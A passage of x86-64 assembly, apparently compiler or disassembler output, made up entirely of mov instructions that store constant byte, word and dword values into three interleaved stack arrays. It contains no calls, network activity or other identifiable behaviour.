mov byte [rsp + 0x57a], 6
mov byte [rsp + 0x57b], 0x64
mov eax, 0x7ef
mov word [rsp + 0x2db0], ax
mov eax, 0xfe2
mov word [rsp + 0x2db4], ax
mov byte [rsp + 0x57c], 0x52
mov byte [rsp + 0x57d], 0x76
mov dword [rsp + 0xb6a8], 0x37e4
mov byte [rsp + 0x57e], 5
mov eax, 0xcab
mov word [rsp + 0x2db8], ax
mov byte [rsp + 0x57f], 0xfa
mov dword [rsp + 0xb6ac], 0x2e2f
mov eax, 0x747
mov word [rsp + 0x2dbc], ax
mov dword [rsp + 0xb6b0], 0x61ed
mov byte [rsp + 0x580], 0x2f
mov dword [rsp + 0xb6b4], 0x6e33
mov eax, 0x924
mov word [rsp + 0x2dc0], ax
mov dword [rsp + 0xb6b8], 0x773c
mov byte [rsp + 0x581], 0x36
mov dword [rsp + 0xb6bc], 0xe59d
mov dword [rsp + 0xb6c0], 0xfe73
mov eax, 0x3e9
mov word [rsp + 0x2dc4], ax
mov dword [rsp + 0xb6c4], 0x2260
mov dword [rsp + 0xb6c8], 0x2a78
mov byte [rsp + 0x582], 0x2e
mov eax, 0x1d7
mov word [rsp + 0x2dc8], ax
mov eax, 0xed6
mov word [rsp + 0x2dcc], ax
mov dword [rsp + 0xb6cc], 0xc13f
mov eax, 0x3e0
mov word [rsp + 0x2dd0], ax
mov eax, 0xf2c
mov word [rsp + 0x2dd4], ax
mov dword [rsp + 0xb6d0], 0xcfc
mov dword [rsp + 0xb6d4], 0x5d37
mov eax, 0x324
mov word [rsp + 0x2dd8], ax
mov dword [rsp + 0xb6d8], 0x36f4
mov dword [rsp + 0xb6dc], 0xf80
mov dword [rsp + 0xb6e0], 0x2529
mov dword [rsp + 0xb6e4], 0x1332
mov byte [rsp + 0x583], 0xeb
mov dword [rsp + 0xb6e8], 0x31e
mov dword [rsp + 0xb6ec], 0x4f7e
mov eax, 0xa1c
mov word [rsp + 0x2ddc], ax
mov dword [rsp + 0xb6f0], 0x60cb
mov byte [rsp + 0x584], 0x6b
mov eax, 0xdd2
mov word [rsp + 0x2de0], ax
mov byte [rsp + 0x585], 0x71
mov eax, 0xba
mov word [rsp + 0x2de4], ax
mov byte [rsp + 0x586], 0x79
mov eax, 0x814
mov word [rsp + 0x2de8], ax
mov dword [rsp + 0xb6f4], 0x627e
mov dword [rsp + 0xb6f8], 0x318f
mov dword [rsp + 0xb6fc], 0x370c
mov byte [rsp + 0x587], 0x16
mov dword [rsp + 0xb700], 0xda47
mov byte [rsp + 0x588], 0x80
mov dword [rsp + 0xb704], 0x51a9
mov dword [rsp + 0xb708], 0x64e8
mov byte [rsp + 0x589], 0x6c
mov eax, 0x509
mov word [rsp + 0x2dec], ax
mov dword [rsp + 0xb70c], 0x2f21
mov dword [rsp + 0xb710], 0x1743
mov dword [rsp + 0xb714], 0xa83f
mov eax, 0x4f7
mov word [rsp + 0x2df0], ax
mov dword [rsp + 0xb718], 0xb4e4
mov dword [rsp + 0xb71c], 0x3b01
mov eax, 0x91b
mov word [rsp + 0x2df4], ax
mov eax, 0x598
mov word [rsp + 0x2df8], ax
mov dword [rsp + 0xb720], 0x54dd
mov byte [rsp + 0x58a], 0x8b
mov eax, 0x81
mov word [rsp + 0x2dfc], ax
mov byte [rsp + 0x58b], 0xa5
mov dword [rsp + 0xb724], 0x9ca3
mov dword [rsp + 0xb728], 0x194
mov byte [rsp + 0x58c], 0x69
mov dword [rsp + 0xb72c], 0x6b95
mov byte [rsp + 0x58d], 0x3f
mov byte [rsp + 0x58e], 0x32
mov byte [rsp + 0x58f], 0x54
mov byte [rsp + 0x590], 0xdd
mov dword [rsp + 0xb730], 0x625c
mov dword [rsp + 0xb734], 0x2743
mov byte [rsp + 0x591], 0xb5
mov dword [rsp + 0xb738], 0x7ca3
mov dword [rsp + 0xb73c], 0x5d01
mov dword [rsp + 0xb740], 0x4939
mov dword [rsp + 0xb744], 0x70f3
mov dword [rsp + 0xb748], 0xb1a3
mov dword [rsp + 0xb74c], 0xcb83
mov dword [rsp + 0xb750], 0x6bf4
mov dword [rsp + 0xb754], 0x75b9
mov dword [rsp + 0xb758], 0x54fa
mov dword [rsp + 0xb75c], 0xd7bb
mov dword [rsp + 0xb760], 0x662
mov eax, 0xebd
mov word [rsp + 0x2e00], ax
mov byte [rsp + 0x592], 6
mov eax, 0x3a5
mov word [rsp + 0x2e04], ax
mov byte [rsp + 0x593], 0x4e
mov byte [rsp + 0x594], 0xa8
mov byte [rsp + 0x595], 0x74
mov dword [rsp + 0xb764], 0x1983
mov dword [rsp + 0xb768], 0x570f
mov dword [rsp + 0xb76c], 0x77a4
mov dword [rsp + 0xb770], 0x7e7b
mov dword [rsp + 0xb774], 0x1d84
mov byte [rsp + 0x596], 0x7c
mov byte [rsp + 0x597], 0x4b
mov eax, 0x97b
mov word [rsp + 0x2e08], ax
mov eax, 0xb9a
mov word [rsp + 0x2e0c], ax
mov byte [rsp + 0x598], 0xbb
mov byte [rsp + 0x599], 0x83
mov dword [rsp + 0xb778], 0x206a
mov dword [rsp + 0xb77c], 0x56c7
mov dword [rsp + 0xb780], 0x56c5
mov byte [rsp + 0x59a], 0xed
mov byte [rsp + 0x59b], 0x67
mov eax, 0xc14
mov word [rsp + 0x2e10], ax
mov dword [rsp + 0xb784], 0x28d7
mov byte [rsp + 0x59c], 0xbc
mov byte [rsp + 0x59d], 0x71
mov dword [rsp + 0xb788], 0x7a9b
mov eax, 0x787
mov word [rsp + 0x2e14], ax
mov dword [rsp + 0xb78c], 0x3db
mov eax, 0xfa0
mov word [rsp + 0x2e18], ax
mov byte [rsp + 0x59e], 0x3f
mov byte [rsp + 0x59f], 9
mov dword [rsp + 0xb790], 0x4665
mov dword [rsp + 0xb794], 0x36bf
mov dword [rsp + 0xb798], 0xc914
mov dword [rsp + 0xb79c], 0x2d0
mov byte [rsp + 0x5a0], 5
mov dword [rsp + 0xb7a0], 0x4e7e
mov byte [rsp + 0x5a1], 0xcf
mov dword [rsp + 0xb7a4], 0x3d04
mov dword [rsp + 0xb7a8], 0x4bfa
mov dword [rsp + 0xb7ac], 0xa7e5
mov dword [rsp + 0xb7b0], 0x2ec8
mov dword [rsp + 0xb7b4], 0x28c6
mov dword [rsp + 0xb7b8], 0x7786
mov dword [rsp + 0xb7bc], 0x91fd
mov byte [rsp + 0x5a2], 0xa1
mov dword [rsp + 0xb7c0], 0xecd3
mov eax, 0x316
mov word [rsp + 0x2e1c], ax
mov dword [rsp + 0xb7c4], 0x5110
mov eax, 0x5af
mov word [rsp + 0x2e20], ax
mov eax, 0x7e0
mov word [rsp + 0x2e24], ax
mov dword [rsp + 0xb7c8], 0x3af1
mov eax, 0x32b
mov word [rsp + 0x2e28], ax
mov eax, 0x6da
mov word [rsp + 0x2e2c], ax
mov byte [rsp + 0x5a3], 0xeb
mov dword [rsp + 0xb7cc], 0x586
mov dword [rsp + 0xb7d0], 0xb687
mov eax, 0x5ff
mov word [rsp + 0x2e30], ax
mov eax, 0x859
mov word [rsp + 0x2e34], ax
mov dword [rsp + 0xb7d4], 0x47b0
mov dword [rsp + 0xb7d8], 0xcf7c
mov dword [rsp + 0xb7dc], 0xb038
mov byte [rsp + 0x5a4], 3
mov dword [rsp + 0xb7e0], 0x4692
mov eax, 0x7e5
mov word [rsp + 0x2e38], ax
mov byte [rsp + 0x5a5], 0x2a
mov dword [rsp + 0xb7e4], 0xe9e
mov dword [rsp + 0xb7e8], 0x42d8
mov eax, 0x38d
mov word [rsp + 0x2e3c], ax
mov dword [rsp + 0xb7ec], 0x2db6
mov dword [rsp + 0xb7f0], 0xc746
mov dword [rsp + 0xb7f4], 0x287c
mov dword [rsp + 0xb7f8], 0xa669
mov eax, 0x466
mov word [rsp + 0x2e40], ax
mov dword [rsp + 0xb7fc], 0xbc91
mov byte [rsp + 0x5a6], 0x5d
mov dword [rsp + 0xb800], 0x62ae
mov byte [rsp + 0x5a7], 0x75
mov dword [rsp + 0xb804], 0x6792
mov dword [rsp + 0xb808], 0x2b4f
mov eax, 0x5f8
mov word [rsp + 0x2e44], ax
mov dword [rsp + 0xb80c], 0x7bc1
mov byte [rsp + 0x5a8], 0xe3
mov eax, 0x110
mov word [rsp + 0x2e48], ax
mov eax, 0x984
mov word [rsp + 0x2e4c], ax
mov eax, 0x497
mov word [rsp + 0x2e50], ax
mov eax, 0x2ef
mov word [rsp + 0x2e54], ax
mov byte [rsp + 0x5a9], 0x49
mov dword [rsp + 0xb810], 0x5c74
mov dword [rsp + 0xb814], 0x3e89
mov eax, 0x52d
mov word [rsp + 0x2e58], ax
mov byte [rsp + 0x5aa], 0xb6
mov dword [rsp + 0xb818], 0x53d4
mov eax, 0xfd7
mov word [rsp + 0x2e5c], ax
mov dword [rsp + 0xb81c], 0x7b4e
mov eax, 0xff0
mov word [rsp + 0x2e60], ax
mov dword [rsp + 0xb820], 0x4661
mov dword [rsp + 0xb824], 0x8ce7
mov byte [rsp + 0x5ab], 0x3c
mov dword [rsp + 0xb828], 0x7edc
mov eax, 0x2d5
mov word [rsp + 0x2e64], ax
mov dword [rsp + 0xb82c], 0x8e0d
mov dword [rsp + 0xb830], 0xa9ad
mov dword [rsp + 0xb834], 0x55eb
mov dword [rsp + 0xb838], 0xab6f
mov eax, 0x2fe
mov word [rsp + 0x2e68], ax
mov dword [rsp + 0xb83c], 0x729e
mov dword [rsp + 0xb840], 0x5ad1
mov dword [rsp + 0xb844], 0x44d8
mov byte [rsp + 0x5ac], 0x45
mov byte [rsp + 0x5ad], 0x74
mov eax, 0x775
mov word [rsp + 0x2e6c], ax
mov eax, 0xad0
mov word [rsp + 0x2e70], ax
mov dword [rsp + 0xb848], 0x6914
mov dword [rsp + 0xb84c], 0x76ee
mov byte [rsp + 0x5ae], 7
mov dword [rsp + 0xb850], 0x306
mov byte [rsp + 0x5af], 0x19
mov eax, 0x5c4
mov word [rsp + 0x2e74], ax
mov byte [rsp + 0x5b0], 0xd2
mov byte [rsp + 0x5b1], 0x3e
mov byte [rsp + 0x5b2], 0x41
mov dword [rsp + 0xb854], 0x368c
mov dword [rsp + 0xb858], 0x12ca
mov byte [rsp + 0x5b3], 0x6e
mov dword [rsp + 0xb85c], 0xeec
mov dword [rsp + 0xb860], 0xa5f3
mov dword [rsp + 0xb864], 0x110c
mov eax, 0x7cf
mov word [rsp + 0x2e78], ax
mov byte [rsp + 0x5b4], 0x1a
mov dword [rsp + 0xb868], 0x4a47
mov dword [rsp + 0xb86c], 0x79a
mov dword [rsp + 0xb870], 0x6334
mov dword [rsp + 0xb874], 0x64e
mov byte [rsp + 0x5b5], 0xc3
mov byte [rsp + 0x5b6], 0x27
mov byte [rsp + 0x5b7], 0x1f
mov byte [rsp + 0x5b8], 0x11
mov dword [rsp + 0xb878], 0x74ba
mov dword [rsp + 0xb87c], 0x506b
mov dword [rsp + 0xb880], 0x6b1f
mov byte [rsp + 0x5b9], 0xfb
mov dword [rsp + 0xb884], 0x5d03
mov dword [rsp + 0xb888], 0x8b8e
mov byte [rsp + 0x5ba], 0x17
mov byte [rsp + 0x5bb], 0xd6
mov byte [rsp + 0x5bc], 0x4f
mov dword [rsp + 0xb88c], 0x3b98
mov dword [rsp + 0xb890], 0xfdf0
mov byte [rsp + 0x5bd], 0x26
mov dword [rsp + 0xb894], 0x9da6
mov byte [rsp + 0x5be], 0x4e
mov dword [rsp + 0xb898], 0x2c73
mov eax, 0xacd
mov word [rsp + 0x2e7c], ax
mov eax, 0x4f8
mov word [rsp + 0x2e80], ax
mov dword [rsp + 0xb89c], 0x1598
mov dword [rsp + 0xb8a0], 0x582a
mov dword [rsp + 0xb8a4], 0x59cf
mov dword [rsp + 0xb8a8], 0x415e
mov dword [rsp + 0xb8ac], 0x7b28
mov dword [rsp + 0xb8b0], 0x9b17
mov dword [rsp + 0xb8b4], 0xee07
mov eax, 0xadb
mov word [rsp + 0x2e84], ax
mov dword [rsp + 0xb8b8], 0x66ac
mov dword [rsp + 0xb8bc], 0x722f
mov dword [rsp + 0xb8c0], 0x433a
mov dword [rsp + 0xb8c4], 0x6955
mov eax, 0xc48
mov word [rsp + 0x2e88], ax
mov dword [rsp + 0xb8c8], 0x2206
mov dword [rsp + 0xb8cc], 0x4568
mov dword [rsp + 0xb8d0], 0x7276
mov eax, 0x825
mov word [rsp + 0x2e8c], ax
mov dword [rsp + 0xb8d4], 0x1b5d
mov dword [rsp + 0xb8d8], 0xfd29
mov dword [rsp + 0xb8dc], 0x5f57
mov dword [rsp + 0xb8e0], 0x1910
mov dword [rsp + 0xb8e4], 0x3fb
mov eax, 0xd36
mov word [rsp + 0x2e90], ax
mov dword [rsp + 0xb8e8], 0x2a3c
mov dword [rsp + 0xb8ec], 0x739a
mov byte [rsp + 0x5bf], 0x4f
mov eax, 0xb08
mov word [rsp + 0x2e94], ax
mov dword [rsp + 0xb8f0], 0x5e9e
mov dword [rsp + 0xb8f4], 0xab62
mov dword [rsp + 0xb8f8], 0x4fed
mov byte [rsp + 0x5c0], 0x4f
mov dword [rsp + 0xb8fc], 0x1496
mov byte [rsp + 0x5c1], 0x4a
mov dword [rsp + 0xb900], 0x17af
mov dword [rsp + 0xb904], 0xa966
mov eax, 0x8d
mov word [rsp + 0x2e98], ax
mov dword [rsp + 0xb908], 0x5685
mov byte [rsp + 0x5c2], 0x1e
mov dword [rsp + 0xb90c], 0x4c13
mov byte [rsp + 0x5c3], 0xe
mov eax, 0x4c0
mov word [rsp + 0x2e9c], ax
mov byte [rsp + 0x5c4], 0x91
mov eax, 0x7d9
mov word [rsp + 0x2ea0], ax
mov dword [rsp + 0xb910], 0x31c9
mov dword [rsp + 0xb914], 0xbbe4
mov dword [rsp + 0xb918], 0xe
mov dword [rsp + 0xb91c], 0x786f
mov eax, 0xee8
mov word [rsp + 0x2ea4], ax
mov byte [rsp + 0x5c5], 0xa2
mov dword [rsp + 0xb920], 0x3a32
mov dword [rsp + 0xb924], 0x238a
mov eax, 0xeca
mov word [rsp + 0x2ea8], ax
mov byte [rsp + 0x5c6], 0x11
mov dword [rsp + 0xb928], 0x3257
mov byte [rsp + 0x5c7], 0x78
mov byte [rsp + 0x5c8], 0x32
mov dword [rsp + 0xb92c], 0xb50e
mov eax, 0x79
mov word [rsp + 0x2eac], ax
mov dword [rsp + 0xb930], 0x3512
mov dword [rsp + 0xb934], 0xb119
mov byte [rsp + 0x5c9], 0xe
mov dword [rsp + 0xb938], 0x73e6
mov dword [rsp + 0xb93c], 0x52dd
mov dword [rsp + 0xb940], 0xbda1
mov byte [rsp + 0x5ca], 0
mov dword [rsp + 0xb944], 0x17ea
mov dword [rsp + 0xb948], 0x4418
mov byte [rsp + 0x5cb], 0x67
mov dword [rsp + 0xb94c], 0xd5d
mov eax, 0x7c1
mov word [rsp + 0x2eb0], ax
mov eax, 0xc05
mov word [rsp + 0x2eb4], ax
mov dword [rsp + 0xb950], 0xa7f4
mov dword [rsp + 0xb954], 0x73b8
mov eax, 0x42f
mov word [rsp + 0x2eb8], ax
mov dword [rsp + 0xb958], 0x18c9
mov dword [rsp + 0xb95c], 0x3f18
mov dword [rsp + 0xb960], 0xdc6
mov dword [rsp + 0xb964], 0x903
mov byte [rsp + 0x5cc], 0x60
mov dword [rsp + 0xb968], 0xe0eb
mov byte [rsp + 0x5cd], 0xd4
mov dword [rsp + 0xb96c], 0x7b30
mov dword [rsp + 0xb970], 0xf63
mov dword [rsp + 0xb974], 0x7cdd
mov dword [rsp + 0xb978], 0x4352
mov byte [rsp + 0x5ce], 0xaa
mov dword [rsp + 0xb97c], 0x2900
mov dword [rsp + 0xb980], 0xe09
mov eax, 0x59a
mov word [rsp + 0x2ebc], ax
mov dword [rsp + 0xb984], 0x4f3d
mov dword [rsp + 0xb988], 0x6425
mov dword [rsp + 0xb98c], 0x745f
mov dword [rsp + 0xb990], 0x31e0
mov eax, 0xec5
mov word [rsp + 0x2ec0], ax
mov eax, 0x3d8
mov word [rsp + 0x2ec4], ax
mov dword [rsp + 0xb994], 0x44ee
mov dword [rsp + 0xb998], 0x4c4b
mov byte [rsp + 0x5cf], 0x26
mov eax, 0xe84
mov word [rsp + 0x2ec8], ax
mov eax, 0x291
mov word [rsp + 0x2ecc], ax
mov dword [rsp + 0xb99c], 0xef63
mov dword [rsp + 0xb9a0], 0x6e18
mov dword [rsp + 0xb9a4], 0x43ae
mov eax, 0x219
mov word [rsp + 0x2ed0], ax
mov eax, 0x9ac
mov word [rsp + 0x2ed4], ax
mov eax, 0xc89
mov word [rsp + 0x2ed8], ax
mov dword [rsp + 0xb9a8], 0x53fa
mov dword [rsp + 0xb9ac], 0xd614
mov dword [rsp + 0xb9b0], 0x5486
mov dword [rsp + 0xb9b4], 0x1116
mov eax, 0x38e
mov word [rsp + 0x2edc], ax
mov dword [rsp + 0xb9b8], 0x4889
mov eax, 0x42c
mov word [rsp + 0x2ee0], ax
mov dword [rsp + 0xb9bc], 0x7a69
mov dword [rsp + 0xb9c0], 0x1d91
mov byte [rsp + 0x5d0], 0x51
mov dword [rsp + 0xb9c4], 0xe863
mov dword [rsp + 0xb9c8], 0x323d
mov dword [rsp + 0xb9cc], 0x2749
mov dword [rsp + 0xb9d0], 0x2abd
mov dword [rsp + 0xb9d4], 0x4fb8
mov dword [rsp + 0xb9d8], 0x57e5
mov eax, 0x545
mov word [rsp + 0x2ee4], ax
mov byte [rsp + 0x5d1], 0x25
mov dword [rsp + 0xb9dc], 0x54bf
mov dword [rsp + 0xb9e0], 0x33ac
mov dword [rsp + 0xb9e4], 0x22ea
mov dword [rsp + 0xb9e8], 0x1137
mov dword [rsp + 0xb9ec], 0x5947
mov dword [rsp + 0xb9f0], 0x7789
mov dword [rsp + 0xb9f4], 0x6b91
mov dword [rsp + 0xb9f8], 0xf44d
mov eax, 0x290
mov word [rsp + 0x2ee8], ax
mov dword [rsp + 0xb9fc], 0x2259
mov byte [rsp + 0x5d2], 0xc5
mov dword [rsp + 0xba00], 0x5ac5
mov byte [rsp + 0x5d3], 0x39
mov dword [rsp + 0xba04], 0xa2fe
mov dword [rsp + 0xba08], 0x111b
mov byte [rsp + 0x5d4], 0x50
mov byte [rsp + 0x5d5], 0x78
mov eax, 0x48d
mov word [rsp + 0x2eec], ax
mov eax, 0x26d
mov word [rsp + 0x2ef0], ax
mov dword [rsp + 0xba0c], 0x2d2d
mov byte [rsp + 0x5d6], 0x81
mov dword [rsp + 0xba10], 0xc82
mov dword [rsp + 0xba14], 0x44ae
mov byte [rsp + 0x5d7], 0x92
mov dword [rsp + 0xba18], 0x74dd
mov eax, 0xe83
mov word [rsp + 0x2ef4], ax
mov dword [rsp + 0xba1c], 0x6084
mov byte [rsp + 0x5d8], 0xfb
mov byte [rsp + 0x5d9], 0x68
mov byte [rsp + 0x5da], 0x24
mov dword [rsp + 0xba20], 0x5294
mov byte [rsp + 0x5db], 0x19
mov byte [rsp + 0x5dc], 0x78
mov eax, 0x28e
mov word [rsp + 0x2ef8], ax
mov dword [rsp + 0xba24], 0x621b
mov byte [rsp + 0x5dd], 0x13
mov byte [rsp + 0x5de], 0x4d
mov dword [rsp + 0xba28], 0x2798
mov dword [rsp + 0xba2c], 0xff81
mov eax, 0x1fd
mov word [rsp + 0x2efc], ax
mov byte [rsp + 0x5df], 0xc3
mov dword [rsp + 0xba30], 0x24b
mov dword [rsp + 0xba34], 0x3aa0
mov eax, 0x73a
mov word [rsp + 0x2f00], ax
mov dword [rsp + 0xba38], 0x1453
mov dword [rsp + 0xba3c], 0x7f54
mov eax, 0x263
mov word [rsp + 0x2f04], ax
mov dword [rsp + 0xba40], 0x53fb
mov byte [rsp + 0x5e0], 0xcc
mov dword [rsp + 0xba44], 0x4018
mov dword [rsp + 0xba48], 0xba2
mov dword [rsp + 0xba4c], 0x557f
mov dword [rsp + 0xba50], 0x7160
mov byte [rsp + 0x5e1], 0x5f
mov eax, 0x472
mov word [rsp + 0x2f08], ax
mov dword [rsp + 0xba54], 0x33ef
mov dword [rsp + 0xba58], 0xd65e
mov eax, 0x254
mov word [rsp + 0x2f0c], ax
mov dword [rsp + 0xba5c], 0xda5
mov dword [rsp + 0xba60], 0x2da0
mov dword [rsp + 0xba64], 0x3908
mov eax, 0x960
mov word [rsp + 0x2f10], ax
mov eax, 0x4b7
mov word [rsp + 0x2f14], ax
mov dword [rsp + 0xba68], 0xc5c2
mov eax, 0xddc
mov word [rsp + 0x2f18], ax
mov dword [rsp + 0xba6c], 0xaf41
mov dword [rsp + 0xba70], 0xca4
mov dword [rsp + 0xba74], 0x2b9
mov dword [rsp + 0xba78], 0xf386
mov dword [rsp + 0xba7c], 0x88de
mov byte [rsp + 0x5e2], 0xe4
mov byte [rsp + 0x5e3], 0x1f
mov dword [rsp + 0xba80], 0x3257
mov eax, 0x80d
mov word [rsp + 0x2f1c], ax
mov eax, 0xc53
mov word [rsp + 0x2f20], ax
mov byte [rsp + 0x5e4], 0x3d
mov dword [rsp + 0xba84], 0x7089
mov eax, 0xb0b
mov word [rsp + 0x2f24], ax
mov eax, 0x3fa
mov word [rsp + 0x2f28], ax
mov dword [rsp + 0xba88], 0x86d
mov dword [rsp + 0xba8c], 0xe583
mov dword [rsp + 0xba90], 0xd1f
mov byte [rsp + 0x5e5], 0x65
mov dword [rsp + 0xba94], 0x1756
mov dword [rsp + 0xba98], 0x5cee
mov dword [rsp + 0xba9c], 0x2721
mov dword [rsp + 0xbaa0], 0x6683
mov byte [rsp + 0x5e6], 0xf
mov dword [rsp + 0xbaa4], 0x6879
mov dword [rsp + 0xbaa8], 0xda4
mov dword [rsp + 0xbaac], 0x3473
mov dword [rsp + 0xbab0], 0xaa4a
mov dword [rsp + 0xbab4], 0x40b0
mov dword [rsp + 0xbab8], 0x20a6
mov byte [rsp + 0x5e7], 0xd9
mov dword [rsp + 0xbabc], 0x3d63
mov eax, 0x630
mov word [rsp + 0x2f2c], ax
mov dword [rsp + 0xbac0], 0xef9b
mov dword [rsp + 0xbac4], 0x6177
mov byte [rsp + 0x5e8], 0x22
mov dword [rsp + 0xbac8], 0xeecd
mov dword [rsp + 0xbacc], 0x196e
mov byte [rsp + 0x5e9], 0x8c
mov dword [rsp + 0xbad0], 0x3e65
mov dword [rsp + 0xbad4], 0x2ef0
mov eax, 0xe03
mov word [rsp + 0x2f30], ax
mov eax, 0xdde
mov word [rsp + 0x2f34], ax
mov eax, 0xe90
mov word [rsp + 0x2f38], ax
mov byte [rsp + 0x5ea], 0x75
mov eax, 0x13c
mov word [rsp + 0x2f3c], ax
mov byte [rsp + 0x5eb], 0x4a
mov dword [rsp + 0xbad8], 0x98ca
mov dword [rsp + 0xbadc], 0xea
mov eax, 0x346
mov word [rsp + 0x2f40], ax
mov byte [rsp + 0x5ec], 0x54
mov eax, 0x538
mov word [rsp + 0x2f44], ax
mov dword [rsp + 0xbae0], 0x8fe
mov dword [rsp + 0xbae4], 0x321f
mov dword [rsp + 0xbae8], 0x95f7
mov dword [rsp + 0xbaec], 0x2482
mov dword [rsp + 0xbaf0], 0x3bc8
mov dword [rsp + 0xbaf4], 0x75fe
mov dword [rsp + 0xbaf8], 0xcdb5
mov eax, 0xa94
mov word [rsp + 0x2f48], ax
mov dword [rsp + 0xbafc], 0x543a
mov dword [rsp + 0xbb00], 0x2783
mov dword [rsp + 0xbb04], 0xaa49
mov byte [rsp + 0x5ed], 0x1f
mov dword [rsp + 0xbb08], 0x6458
mov dword [rsp + 0xbb0c], 0x909
mov dword [rsp + 0xbb10], 0x9c48
mov dword [rsp + 0xbb14], 0x6c15
mov dword [rsp + 0xbb18], 0x31a4
mov dword [rsp + 0xbb1c], 0x2017
mov dword [rsp + 0xbb20], 0x38d6
mov byte [rsp + 0x5ee], 0x14
mov dword [rsp + 0xbb24], 0x7220
mov byte [rsp + 0x5ef], 0xbb
mov byte [rsp + 0x5f0], 0x77
mov eax, 0xae3
mov word [rsp + 0x2f4c], ax
mov byte [rsp + 0x5f1], 0x32
mov dword [rsp + 0xbb28], 0x14d1
mov byte [rsp + 0x5f2], 0x99
mov dword [rsp + 0xbb2c], 0x89fa
mov dword [rsp + 0xbb30], 0x1429
mov dword [rsp + 0xbb34], 0x583a
mov dword [rsp + 0xbb38], 0x92b
mov dword [rsp + 0xbb3c], 0x5974
mov dword [rsp + 0xbb40], 0x75a9
mov dword [rsp + 0xbb44], 0xabd7
mov byte [rsp + 0x5f3], 0x8f
mov eax, 0x7f6
mov word [rsp + 0x2f50], ax
mov dword [rsp + 0xbb48], 0x1f3d
mov dword [rsp + 0xbb4c], 0x61eb
mov dword [rsp + 0xbb50], 0x499
mov dword [rsp + 0xbb54], 0xd5fe
mov eax, 0xdb
mov word [rsp + 0x2f54], ax
mov byte [rsp + 0x5f4], 0x7e
mov eax, 0x17c
mov word [rsp + 0x2f58], ax
mov dword [rsp + 0xbb58], 0x6537
mov dword [rsp + 0xbb5c], 0x3b77
mov dword [rsp + 0xbb60], 0x57ac
mov eax, 0x770
mov word [rsp + 0x2f5c], ax
mov dword [rsp + 0xbb64], 0x863c
mov dword [rsp + 0xbb68], 0x7e49
mov dword [rsp + 0xbb6c], 0xa074
mov byte [rsp + 0x5f5], 0x2c
mov eax, 0x559
mov word [rsp + 0x2f60], ax
mov eax, 0x2fe
mov word [rsp + 0x2f64], ax
mov dword [rsp + 0xbb70], 0x4964
mov dword [rsp + 0xbb74], 0x79db
mov byte [rsp + 0x5f6], 0xdb
mov byte [rsp + 0x5f7], 0x42
mov dword [rsp + 0xbb78], 0x912e
mov dword [rsp + 0xbb7c], 0x4904
mov dword [rsp + 0xbb80], 0x149d
mov byte [rsp + 0x5f8], 0xea
mov eax, 0xed9
mov word [rsp + 0x2f68], ax
mov dword [rsp + 0xbb84], 0xc6e
mov eax, 0x7d3
mov word [rsp + 0x2f6c], ax
mov dword [rsp + 0xbb88], 0x2683
mov eax, 0x65e
mov word [rsp + 0x2f70], ax
mov dword [rsp + 0xbb8c], 0x16a7
mov dword [rsp + 0xbb90], 0x7419
mov dword [rsp + 0xbb94], 0x32b2
mov dword [rsp + 0xbb98], 0xfe8c
mov dword [rsp + 0xbb9c], 0x5502
mov dword [rsp + 0xbba0], 0x22b
mov dword [rsp + 0xbba4], 0x7a56
mov dword [rsp + 0xbba8], 0xde16
mov dword [rsp + 0xbbac], 0x5ff9
mov byte [rsp + 0x5f9], 0x3b
mov byte [rsp + 0x5fa], 0x7f
mov byte [rsp + 0x5fb], 0xd3
mov dword [rsp + 0xbbb0], 0x5630
mov byte [rsp + 0x5fc], 0x79
mov byte [rsp + 0x5fd], 0x7a
mov byte [rsp + 0x5fe], 1
mov dword [rsp + 0xbbb4], 0x7eb8
mov dword [rsp + 0xbbb8], 0x19fe
mov dword [rsp + 0xbbbc], 0x70bf
mov dword [rsp + 0xbbc0], 0xd12
mov dword [rsp + 0xbbc4], 0x19d
mov byte [rsp + 0x5ff], 0x34
mov byte [rsp + 0x600], 0x14
mov dword [rsp + 0xbbc8], 0xce50
mov dword [rsp + 0xbbcc], 0x620c
mov eax, 0x116
mov word [rsp + 0x2f74], ax
mov dword [rsp + 0xbbd0], 0x2f0
mov byte [rsp + 0x601], 0xa6
mov dword [rsp + 0xbbd4], 0x2455
mov eax, 0x6be
mov word [rsp + 0x2f78], ax
mov dword [rsp + 0xbbd8], 0xc11
mov byte [rsp + 0x602], 0x4d
mov dword [rsp + 0xbbdc], 0xeaf
mov dword [rsp + 0xbbe0], 0x5c1
mov dword [rsp + 0xbbe4], 0x48d9
mov eax, 0xf7d
mov word [rsp + 0x2f7c], ax
mov byte [rsp + 0x603], 0x6c
mov dword [rsp + 0xbbe8], 0x134c
mov dword [rsp + 0xbbec], 0x2113
mov eax, 0x985
mov word [rsp + 0x2f80], ax
mov dword [rsp + 0xbbf0], 0x3e7a
mov byte [rsp + 0x604], 0xdd
mov dword [rsp + 0xbbf4], 0xed5
mov dword [rsp + 0xbbf8], 0x475c
mov dword [rsp + 0xbbfc], 0x9aa6
mov eax, 0x22
mov word [rsp + 0x2f84], ax
mov byte [rsp + 0x605], 0xb7
mov dword [rsp + 0xbc00], 0x681f
mov byte [rsp + 0x606], 0xea
mov dword [rsp + 0xbc04], 0xc7e6
mov dword [rsp + 0xbc08], 0x4bf3
mov dword [rsp + 0xbc0c], 0x319e
mov eax, 0x76c
mov word [rsp + 0x2f88], ax
mov byte [rsp + 0x607], 0x60
mov dword [rsp + 0xbc10], 0x28b7
mov eax, 0x5c6
mov word [rsp + 0x2f8c], ax
mov dword [rsp + 0xbc14], 0x7a04
mov dword [rsp + 0xbc18], 0x220f
mov dword [rsp + 0xbc1c], 0x2870
mov byte [rsp + 0x608], 0x86
mov dword [rsp + 0xbc20], 0x7496
mov dword [rsp + 0xbc24], 0x55d2
mov dword [rsp + 0xbc28], 0x26f
mov dword [rsp + 0xbc2c], 0x4d9b
mov byte [rsp + 0x609], 0xa7
mov byte [rsp + 0x60a], 0x6e
mov dword [rsp + 0xbc30], 0x8069
mov eax, 0x668
mov word [rsp + 0x2f90], ax
mov eax, 0x23b
mov word [rsp + 0x2f94], ax
mov dword [rsp + 0xbc34], 0x2169
mov eax, 0x6ff
mov word [rsp + 0x2f98], ax
mov dword [rsp + 0xbc38], 0x9bee
mov eax, 0xe44
mov word [rsp + 0x2f9c], ax
mov dword [rsp + 0xbc3c], 0x9be4
mov byte [rsp + 0x60b], 0xd9
mov byte [rsp + 0x60c], 0x57
mov dword [rsp + 0xbc40], 0x6aee
mov eax, 0x39e
mov word [rsp + 0x2fa0], ax
mov dword [rsp + 0xbc44], 0x11c6
mov dword [rsp + 0xbc48], 0x2a5c
mov dword [rsp + 0xbc4c], 0xa4f4
mov dword [rsp + 0xbc50], 0x4d10
mov eax, 0x2ec
